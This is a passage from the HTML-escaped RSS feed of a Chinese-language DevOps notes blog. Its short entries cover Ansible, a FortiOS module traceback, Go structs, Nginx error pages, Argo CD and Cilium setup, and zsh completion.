&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">aaa&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">bbb&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">ccc&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="dict">dict&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">my_users&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">Name&lt;/span>: &lt;span style="color:#ae81ff">aaa&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">Name&lt;/span>: &lt;span style="color:#ae81ff">bbb&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">Name&lt;/span>: &lt;span style="color:#ae81ff">ccc&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="playbook">playbook&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Transform data&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">vars&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">orig_users&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">aaa&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">bbb&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">ccc&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">my_users&lt;/span>: []
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">set_fact&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">my_users&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ my_users + [{} | combine({&amp;#39;Name&amp;#39;: item})] }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">loop&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;{{ orig_users }}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>說明如下：&lt;/p>
&lt;ol>
&lt;li>利用 combine 這個 filter 來組出 dict&lt;/li>
&lt;li>利用 loop 去 iterate orig_users&lt;/li>
&lt;li>用 my_users + [{} | combine({&amp;lsquo;Name&amp;rsquo;: item})] 來做 List append```&lt;/li>
&lt;/ol></description></item><item><title>fortios_system_config_backup_restore 的拼寫錯誤、缺少 collection，或模組路徑不正確</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220106-ansible-galaxy-fortios-collection/</link><pubDate>Thu, 06 Jan 2022 13:40:40 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220106-ansible-galaxy-fortios-collection/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/fortinet-ansible-dev/ansible-galaxy-fortios-collection/issues/95" target="_blank" rel="noopener">fortios_system_config_backup_restore 的拼寫錯誤、缺少 collection，或模組路徑不正確&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="問題">問題&lt;/h4>
&lt;p>Hi,&lt;/p>
&lt;p>我在嘗試使用 &lt;code>fortios_system_config_backup_restore&lt;/code> 模組，並依照你的 playbook 範例從 Fortigate 取得設定。&lt;/p>
&lt;p>我使用的是 &lt;code>ansible 2.10.6&lt;/code>。&lt;/p>
&lt;p>當我使用 &lt;code>fortinet.fortios:1.1.8&lt;/code> 這個 collection 時，出現以下錯誤：&lt;code>missing 1 required positional argument: 'mod'&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>The full traceback is:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Traceback &lt;span style="color:#f92672">(&lt;/span>most recent call last&lt;span style="color:#f92672">)&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py&amp;#34;&lt;/span>, line 102, in &amp;lt;module&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> _ansiballz_main&lt;span style="color:#f92672">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py&amp;#34;&lt;/span>, line 94, in _ansiballz_main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> invoke_module&lt;span style="color:#f92672">(&lt;/span>zipped_mod, temp_path, ANSIBALLZ_PARAMS&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py&amp;#34;&lt;/span>, line 40, in invoke_module
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> runpy.run_module&lt;span style="color:#f92672">(&lt;/span>mod_name&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;ansible_collections.fortinet.fortios.plugins.modules.fortios_system_config_backup_restore&amp;#39;&lt;/span>, init_globals&lt;span style="color:#f92672">=&lt;/span>None, run_name&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;__main__&amp;#39;&lt;/span>, alter_sys&lt;span style="color:#f92672">=&lt;/span>True&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/usr/lib/python3.8/runpy.py&amp;#34;&lt;/span>, line 207, in run_module
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> _run_module_code&lt;span style="color:#f92672">(&lt;/span>code, init_globals, run_name, mod_spec&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/usr/lib/python3.8/runpy.py&amp;#34;&lt;/span>, line 97, in _run_module_code
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> _run_code&lt;span style="color:#f92672">(&lt;/span>code, mod_globals, init_globals,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/usr/lib/python3.8/runpy.py&amp;#34;&lt;/span>, line 87, in _run_code
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exec&lt;span style="color:#f92672">(&lt;/span>code, run_globals&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py&amp;#34;&lt;/span>, line 472, in &amp;lt;module&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> File &lt;span style="color:#e6db74">&amp;#34;/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py&amp;#34;&lt;/span>, line 436, in main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>TypeError: __init__&lt;span style="color:#f92672">()&lt;/span> missing &lt;span style="color:#ae81ff">1&lt;/span> required positional argument: &lt;span style="color:#e6db74">&amp;#39;mod&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>fatal: &lt;span style="color:#f92672">[&lt;/span>fortigate-01&lt;span style="color:#f92672">]&lt;/span>: FAILED! &lt;span style="color:#f92672">=&lt;/span>&amp;gt; &lt;span style="color:#f92672">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;changed&amp;#34;&lt;/span>: false,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;module_stderr&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;Traceback (most recent call last):\n File \&amp;#34;/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\&amp;#34;, line 102, in &amp;lt;module&amp;gt;\n _ansiballz_main()\n File \&amp;#34;/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\&amp;#34;, line 94, in _ansiballz_main\n invoke_module(zipped_mod, temp_path, ANSIBALLZ_PARAMS)\n File \&amp;#34;/home/ansible/.ansible/tmp/ansible-local-8668osvgufxk/ansible-tmp-1615481963.0092971-8768-3877705280026/AnsiballZ_fortios_system_config_backup_restore.py\&amp;#34;, line 40, in invoke_module\n runpy.run_module(mod_name=&amp;#39;ansible_collections.fortinet.fortios.plugins.modules.fortios_system_config_backup_restore&amp;#39;, init_globals=None, run_name=&amp;#39;__main__&amp;#39;, alter_sys=True)\n File \&amp;#34;/usr/lib/python3.8/runpy.py\&amp;#34;, line 207, in run_module\n return _run_module_code(code, init_globals, run_name, mod_spec)\n File \&amp;#34;/usr/lib/python3.8/runpy.py\&amp;#34;, line 97, in _run_module_code\n _run_code(code, mod_globals, init_globals,\n File \&amp;#34;/usr/lib/python3.8/runpy.py\&amp;#34;, line 87, in _run_code\n exec(code, run_globals)\n File \&amp;#34;/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py\&amp;#34;, line 472, in &amp;lt;module&amp;gt;\n File \&amp;#34;/tmp/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload_mplamrs7/ansible_fortinet.fortios.fortios_system_config_backup_restore_payload.zip/ansible_collections/fortinet/fortios/plugins/modules/fortios_system_config_backup_restore.py\&amp;#34;, line 436, in main\nTypeError: __init__() missing 1 required positional argument: &amp;#39;mod&amp;#39;\n&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;module_stdout&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;msg&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;MODULE FAILURE\nSee stdout/stderr for the exact error&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;rc&amp;#34;&lt;/span>: &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>使用最新的預發布版 &lt;code>fortinet.fortios:2.0.0&lt;/code> 時，我得到：&lt;/p></description></item><item><title>Gopher 需要知道的几个结构体骚操作</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220103-some-struct-notes/</link><pubDate>Mon, 03 Jan 2022 15:08:31 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20220103-some-struct-notes/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mp.weixin.qq.com/s/A4m1xlFwh9pD0qy3p7ItSA" target="_blank" rel="noopener">Gopher 需要知道的几个结构体骚操作&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="nocopy">NoCopy&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ go vet aaa.go
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># command-line-arguments&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./aaa.go:7:14: test passes lock by value: sync.WaitGroup contains sync.noCopy
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./aaa.go:15:10: call of test copies lock value: sync.WaitGroup contains sync.noCopy
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">noCopy&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span>{}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">WaitGroup&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">noCopy&lt;/span> &lt;span style="color:#a6e22e">noCopy&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 64-bit value: high 32 bits are counter, low 32 bits are waiter count.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 64-bit atomic operations require 64-bit alignment, but 32-bit&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// compilers only guarantee that 64-bit fields are 32-bit aligned.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// For this reason on 32 bit architectures we need to check in state()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// if state1 is aligned or not, and dynamically &amp;#34;swap&amp;#34; the field order if&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// needed.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">state1&lt;/span> &lt;span style="color:#66d9ef">uint64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">state2&lt;/span> &lt;span style="color:#66d9ef">uint32&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>noCopy 定义非常简单，空结构体，zero size 不占用空间(前提是非结构体的最后一个字段，否则还要是有 8 byte 空间开销)&lt;/p></description></item><item><title>Nginx怎样隐藏上游错误</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211227-how-nginx-hide-upstream-errors/</link><pubDate>Mon, 27 Dec 2021 15:47:12 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211227-how-nginx-hide-upstream-errors/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://russelltao.github.io/2021/02/22/nginx/Nginx%E6%80%8E%E6%A0%B7%E9%9A%90%E8%97%8F%E4%B8%8A%E6%B8%B8%E9%94%99%E8%AF%AF/#more" target="_blank" rel="noopener">Nginx 怎样隐藏上游错误&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="nginx-允许对以下-7-种可以进行重试的错误码启用-next-upstream-功能">Nginx 允许对以下 7 种可以进行重试的错误码启用 next upstream 功能&lt;/h5>
&lt;ul>
&lt;li>403 Forbidden&lt;/li>
&lt;li>404 Not Found&lt;/li>
&lt;li>429 Too Many Requests&lt;/li>
&lt;li>500 Internal Server Error&lt;/li>
&lt;li>502 Bad Gateway&lt;/li>
&lt;li>503 Server Unavailable&lt;/li>
&lt;li>504 Gateway Timeout&lt;/li>
&lt;/ul>
&lt;h5 id="当上游返回-404-错误时改为通过-200-返回一张找不到资源的图片">当上游返回 404 错误时，改为通过 200 返回一张找不到资源的图片&lt;/h5>
&lt;blockquote>
&lt;p>此时，可以通过 &lt;code>proxy_intercept_errors&lt;/code> 指令完成这一功能
当 &lt;code>proxy_intercept_errors&lt;/code> 开启后，对于上游返回的大于等于 300 响应码的请求，都可以基于 error_page 指令继续处理&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">location&lt;/span> &lt;span style="color:#e6db74">/ih&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_pass&lt;/span> &lt;span style="color:#e6db74">http://ihBackend&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_intercept_errors&lt;/span> &lt;span style="color:#66d9ef">on&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">error_page&lt;/span> &lt;span style="color:#ae81ff">404&lt;/span> = &lt;span style="color:#e6db74">/404.html&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">location&lt;/span> = &lt;span style="color:#e6db74">/404.html&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">alias&lt;/span> &lt;span style="color:#e6db74">html/404_not_found.html&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Argo CD ApplicationSet Controller: 世界為我而轉動！</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211227-argo-cd-applicationset-controller/</link><pubDate>Mon, 27 Dec 2021 09:41:03 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211227-argo-cd-applicationset-controller/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://medium.com/starbugs/argo-cd-applicationset-controller-%E4%B8%96%E7%95%8C%E7%82%BA%E6%88%91%E8%80%8C%E8%BD%89%E5%8B%95-a837f9392298" target="_blank" rel="noopener">Argo CD ApplicationSet Controller: 世界為我而轉動！&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/argoproj/argo-cd" target="_blank" rel="noopener">Argo CD&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 安裝 kind，其他平台安裝方式請參閱官方文件&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 用來運行輕量 K8s Cluster 於本地端&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>~$ brew install kind
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 安裝 kubectx，其他平台安裝方式請參閱官方文件&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 用來方便切換不同 k8s context&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>~$ brew install kubectx
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 安裝 helm，其他平台安裝方式請參閱官方文件&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># K8s 套件管理工具&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>~$ brew install helm
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 安裝 kubectl, 其他平台安裝方式請參閱官方文件&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 用來與 K8s Cluster API Server 溝通&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>~$ brew install kubectl
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 安裝 argocd cli, 其他平台安裝方式請參閱官方文件&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 用來與 Argo CD 溝通&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>~$ brew install argocd
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>golang的AES加密和解密的三种模式实现（CBC/ECB/CFB)</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211222-aes-encryption-and-decryption-three-modes-implementation/</link><pubDate>Wed, 22 Dec 2021 17:40:52 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211222-aes-encryption-and-decryption-three-modes-implementation/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.csdn.net/mirage003/article/details/87868999" target="_blank" rel="noopener">golang 的 AES 加密和解密的三种模式实现（CBC/ECB/CFB)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://levelup.gitconnected.com/a-short-guide-to-encryption-using-go-da97c928259f" target="_blank" rel="noopener">How to encrypt a file using Go&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>【理解 Cilium 系列文章】(一) 初識 Cilium</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211221-understanding-cilium/</link><pubDate>Tue, 21 Dec 2021 13:04:38 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211221-understanding-cilium/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.gushiciku.cn/pl/geTr/zh-hk" target="_blank" rel="noopener">【理解 Cilium 系列文章】(一) 初識 Cilium&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="當前-k8s-service-負載均衡的實現現狀">當前 k8s Service 負載均衡的實現現狀&lt;/h4>
&lt;p>在 Cilium 出現之前， Service 由 kube-proxy 來實現，實現方式有 userspace ， iptables ， ipvs 三種模式。&lt;/p>
&lt;h5 id="userspace">Userspace&lt;/h5>
&lt;p>當前模式下，kube-proxy 作為反向代理,監聽隨機端口，通過 iptables 規則將流量重定向到代理端口，再由 kube-proxy 將流量轉發到 後端 pod。Service 的請求會先從用户空間進入內核 iptables，然後再回到用户空間，代價較大，性能較差。&lt;/p>
&lt;h5 id="iptables">Iptables&lt;/h5>
&lt;p>存在的問題：&lt;/p>
&lt;p>1.可擴展性差。隨着 service 數據達到數千個，其控制面和數據面的性能都會急劇下降。原因在於 iptables 控制面的接口設計中，每添加一條規則，需要遍歷和修改所有的規則，其控制面性能是 O(n²) 。在數據面，規則是用鏈表組織的，其性能是 O(n)&lt;/p>
&lt;p>2.LB 調度算法僅支持隨機轉發&lt;/p>
&lt;h5 id="ipvs-模式">Ipvs 模式&lt;/h5>
&lt;p>IPVS 是專門為 LB 設計的。它用 hash table 管理 service，對 service 的增刪查找都是 O(1)的時間複雜度。不過 IPVS 內核模塊沒有 SNAT 功能，因此借用了 iptables 的 SNAT 功能。&lt;/p>
&lt;p>IPVS 針對報文做 DNAT 後，將連接信息保存在 nf_conntrack 中，iptables 據此接力做 SNAT。該模式是目前 Kubernetes 網絡性能最好的選擇。但是由於 nf_conntrack 的複雜性，帶來了很大的性能損耗。騰訊針對該問題做過相應的優化 【繞過 conntrack，使用 eBPF 增強 IPVS 優化 K8s 網絡性能】&lt;/p></description></item><item><title>不使用 kube-proxy 的 Kubernetes</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211220-kubeproxy-free/</link><pubDate>Mon, 20 Dec 2021 17:57:13 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211220-kubeproxy-free/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://docs.cilium.io/en/v1.9/gettingstarted/kubeproxy-free/" target="_blank" rel="noopener">不使用 kube-proxy 的 Kubernetes&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="快速開始">快速開始&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>kubeadm init --skip-phases&lt;span style="color:#f92672">=&lt;/span>addon/kube-proxy
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 設定 Helm 倉庫&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>helm repo add cilium https://helm.cilium.io/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>helm install cilium cilium/cilium --version 1.9.18 &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --namespace kube-system &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --set kubeProxyReplacement&lt;span style="color:#f92672">=&lt;/span>strict &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --set k8sServiceHost&lt;span style="color:#f92672">=&lt;/span>REPLACE_WITH_API_SERVER_IP &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --set k8sServicePort&lt;span style="color:#f92672">=&lt;/span>REPLACE_WITH_API_SERVER_PORT
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Zsh tab 補完無法使用</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211210-zsh-tab-completion-not-working/</link><pubDate>Fri, 10 Dec 2021 17:44:49 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211210-zsh-tab-completion-not-working/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://stackoverflow.com/questions/46939906/zsh-tab-completion-not-working" target="_blank" rel="noopener">Zsh tab 補完無法使用&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="問題">問題&lt;/h4>
&lt;p>雖然我之前用過 Oh-My-Zsh，但這次（設定新電腦）我決定盡量不要安裝它，讓環境更精簡。現在我想單獨取用 Oh-My-Zsh 的大小寫不敏感補完功能。翻查原始碼後，我找到下面這行：
&lt;code>zstyle ':completion:*' matcher-list 'm:{a-zA-Z}={A-Za-z}' 'r:|=*' 'l:|=* r:|=*'&lt;/code>&lt;/p>
&lt;p>我相當確定 Oh-My-Zsh 就是用這行達成我的需求，所以我把它加進 &lt;code>.zshrc&lt;/code>。重啟終端機後輸入 &lt;code>cd desk&lt;/code>，再按 [tab]，結果沒有作用，並沒有補完成 &lt;code>cd Desktop/&lt;/code>。&lt;/p>
&lt;p>以下是完整的 &lt;code>.zshrc&lt;/code> 供參考：&lt;/p>
